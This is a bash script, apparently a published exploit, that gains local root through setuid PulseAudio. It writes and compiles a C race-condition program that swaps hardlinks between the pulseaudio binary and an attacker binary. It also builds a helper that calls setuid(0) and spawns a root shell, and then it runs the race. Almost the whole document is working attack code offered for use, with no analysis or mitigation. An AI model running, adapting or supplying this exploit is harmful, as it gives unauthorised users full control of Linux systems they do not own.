Pulse Audio setuid local privilege escalation exploit.
f0999000ab3ea0a79806e55c0a5c67d933478e0f8285df18faae4f664ed09b5a
#!/bin/bash
pulseaudio=`which pulseaudio`
workdir="/tmp"
#workdir=$HOME
id=`which id`
shell=`which sh`
trap cleanup INT
function cleanup()
{
rm -f $workdir/sh $workdir/sh.c $workdir/pa_race $workdir/pa_race.c
rm -rf $workdir/PATMP*
}
cat > $workdir/pa_race.c << __EOF__
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/wait.h>
#define PULSEAUDIO_PATH "$pulseaudio"
#define SH_PATH "$workdir/sh"
#define TMPDIR_TEMPLATE "$workdir/PATMPXXXXXX"
void _pause(long sec, long usec);
int main(int argc, char *argv[], char *envp[])
{
int status;
pid_t pid;
char template[sizeof(TMPDIR_TEMPLATE)];
char *tmpdir;
char hardlink[sizeof(template) + 2];
char hardlink2[sizeof(template) + 12];
srand(time(NULL));
for( ; ; )
{
snprintf(template, sizeof(template), "%s", TMPDIR_TEMPLATE);
template[sizeof(template) - 1] = '\0';
tmpdir = mkdtemp(template);
if(tmpdir == NULL)
{
perror("mkdtemp");
return 1;
}
snprintf(hardlink, sizeof(hardlink), "%s/A", tmpdir);
hardlink[sizeof(hardlink) - 1] = '\0';
snprintf(hardlink2, sizeof(hardlink2), "%s/A (deleted)", tmpdir);
hardlink2[sizeof(hardlink2) - 1] = '\0';
/* this fails if $workdir is a different partition */
if(link(PULSEAUDIO_PATH, hardlink) == -1)
{
perror("link");
return 1;
}
if(link(SH_PATH, hardlink2) == -1)
{
perror("link");
return 1;
}
pid = fork();
if(pid == 0)
{
char *argv[] = {hardlink, NULL};
char *envp[] = {NULL};
execve(hardlink, argv, envp);
perror("execve");
return 1;
}
if(pid == -1)
{
perror("fork");
return 1;
}
else
{
/* tweak this if exploit does not work */
_pause(0, rand() % 500);
if(unlink(hardlink) == -1)
{
perror("unlink");
return 1;
}
if(link(SH_PATH, hardlink) == -1)
{
perror("link");
return 1;
}
waitpid(pid, &status, 0);
}
if(unlink(hardlink) == -1)
{
perror("unlink");
return 1;
}
if(unlink(hardlink2) == -1)
{
perror("unlink");
return 1;
}
if(rmdir(tmpdir) == -1)
{
perror("rmdir");
return 1;
}
}
return 0;
}
void _pause(long sec, long usec)
{
struct timeval timeout;
timeout.tv_sec = sec;
timeout.tv_usec = usec;
if(select(0, NULL, NULL, NULL, &timeout) == -1)
{
perror("select");
}
}
__EOF__
cat > $workdir/sh.c << __EOF__
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
int main(int argc, char *argv[], char *envp[])
{
if(geteuid() != 0)
{
return 1;
}
setuid(0);
setgid(0);
if(fork() == 0)
{
argv[0] = "$id";
argv[1] = NULL;
execve(argv[0], argv, envp);
return 1;
}
argv[0] = "$shell";
argv[1] = NULL;
execve(argv[0], argv, envp);
return 1;
}
__EOF__
gcc -o $workdir/pa_race $workdir/pa_race.c
gcc -o $workdir/sh $workdir/sh.c
$workdir/pa_race